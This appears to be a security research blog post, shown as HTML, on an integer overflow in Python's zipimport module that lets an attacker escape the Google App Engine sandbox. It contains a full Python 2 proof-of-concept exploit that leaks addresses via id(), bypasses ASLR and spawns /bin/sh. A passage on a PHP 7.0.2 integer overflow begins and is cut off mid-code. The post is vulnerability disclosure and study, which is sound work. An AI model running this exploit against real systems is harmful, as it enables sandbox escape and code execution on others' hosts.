&lt;p&gt;&lt;code&gt;sys.path&lt;/code&gt;, search paths for modules, contains not only directories, but also
ZIP files. &lt;code&gt;zipimport&lt;/code&gt; module provides the way to import Python modules from
ZIP-format archives.&lt;/p&gt;
&lt;h2&gt;Vulnerability&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// zipimporter.c&lt;/span&gt;
&lt;span class="n"&gt;bytes_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;compress&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bytes_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;bytes_size&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;raw_data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PyBytes_FromStringAndSize&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes_size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The vulnerability exists in ZIP file decoder of &lt;code&gt;zipimporter&lt;/code&gt; module.
&lt;code&gt;data_size&lt;/code&gt;, extracted from ZIP file, is not properly validated. If &lt;code&gt;data_size&lt;/code&gt;
is 0xffffffff(-1) and &lt;code&gt;compress&lt;/code&gt; is non-zero, then &lt;code&gt;bytes_size&lt;/code&gt;, buffer size
for storing file data, becomes &lt;strong&gt;&lt;em&gt;one&lt;/em&gt;&lt;/strong&gt;. Later, Python reads a file to this
small buffer and heap overflow is occurred.&lt;/p&gt;
&lt;h2&gt;Bypass ASLR&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;hex&lt;span class="o"&gt;(&lt;/span&gt;id&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;0x7f6c2c677710&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To achieve arbitrary code execution, we need to bypass ASLR. Fortunately,
Python uses a memory address as an &lt;code&gt;id&lt;/code&gt; of an objet. By using built-in &lt;code&gt;id&lt;/code&gt;, we
can bypass ASLR.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/usr/bin/env python2&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;zipimport&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;zipfile&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;struct&lt;/span&gt;

&lt;span class="n"&gt;FILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;payload&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;ZIP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;import.zip&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;DIR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;sh&amp;#39;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DIR&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mkdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DIR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;A&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;libc_base&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;
&lt;span class="n"&gt;system_addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;libc_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x46640&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;LIBC_BASE : &lt;/span&gt;&lt;span class="si"&gt;%x&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;libc_base&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;bin_sh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DIR&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;Q&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="n"&gt;libc_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x7b1998&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bin_sh&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/bin/sh&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chmod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bin_sh&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0777&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;putenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;PATH&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;PATH&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;:&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;DIR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;some_string_obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;some_string_obj&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;QQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZaaaabbbbccccddddeeeeffff&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;some_string_obj&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;gggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvv&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;some_string_obj&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;wwwwxxxxyyyyzzzz&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;some_string_obj&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;some_string_obj&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;QQQQRRRRSSSSTTTTUUUU&amp;quot;&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;%x&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;some_string_obj&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="c1"&gt;# func addr here&lt;/span&gt;
&lt;span class="n"&gt;some_string_obj&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;Q&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;system_addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;some_string_obj&lt;/span&gt;
&lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;addrs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;xrange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;addrs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;/=&lt;/span&gt; &lt;span class="mh"&gt;0x100&lt;/span&gt;
&lt;span class="n"&gt;addrs_2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;addrs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;addrs_2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;%x&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;some_string_obj&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="c1"&gt;# generate input&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FILE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;aaaa&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;addrs_2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;zf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;zipfile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PyZipFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ZIP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;zf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FILE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;zf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;importer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;zipimport&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zipimporter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ZIP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;importer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_files&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;FILE&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;# compress&lt;/span&gt;
&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;# file size&lt;/span&gt;
&lt;span class="n"&gt;importer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_files&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;FILE&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;importer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FILE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Google App Engine&lt;/h2&gt;
&lt;p&gt;Since &lt;code&gt;zipimport&lt;/code&gt; is an essential module for Python, it is in the whitelist of
&lt;a href="https://github.com/GoogleCloudPlatform/python-compat-runtime/blob/master/appengine-compat/exported_appengine_sdk/google/appengine/tools/devappserver2/python/sandbox.py#L925"&gt;Google App Engine's Python sandbox&lt;/a&gt;.  Consequently, the
attacker can exploit this vulnerability to break the sandbox.  We reported this
issue to Google upon its discovery.&lt;/p&gt;
&lt;h1&gt;Integer Overflow in PHP&lt;/h1&gt;
&lt;p&gt;In PHP v7.0.2, strings are generally allocated by &lt;code&gt;zend_string_alloc()&lt;/code&gt; function.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// zend/zend_string.h&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zend_always_inline&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zend_string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;zend_string_alloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;zend_string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;zend_string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;pemalloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ZEND_MM_ALIGNED_SIZE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_ZSTR_STRUCT_SIZE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;GC_REFCOUNT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//..&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ZSTR_LEN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The function is a wrapper of &lt;code&gt;pemalloc&lt;/code&gt;. The function internally invokes
&lt;code&gt;pemalloc(size)&lt;/code&gt; to allocate the memory, with size value with respect to
len variable. The function itself seems to not to have any bug, however,
using the function with arithmetic expression as the length argument can create
a vulnerability.&lt;/p&gt;
&lt;h2&gt;Vulnerability example in php_implode&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ext/standard/string.c&lt;/span&gt;
&lt;span class="n"&gt;PHPAPI&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;php_implode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zend_string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;delim&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zval&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zval&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;return_value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zend_string_alloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;numelems&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; 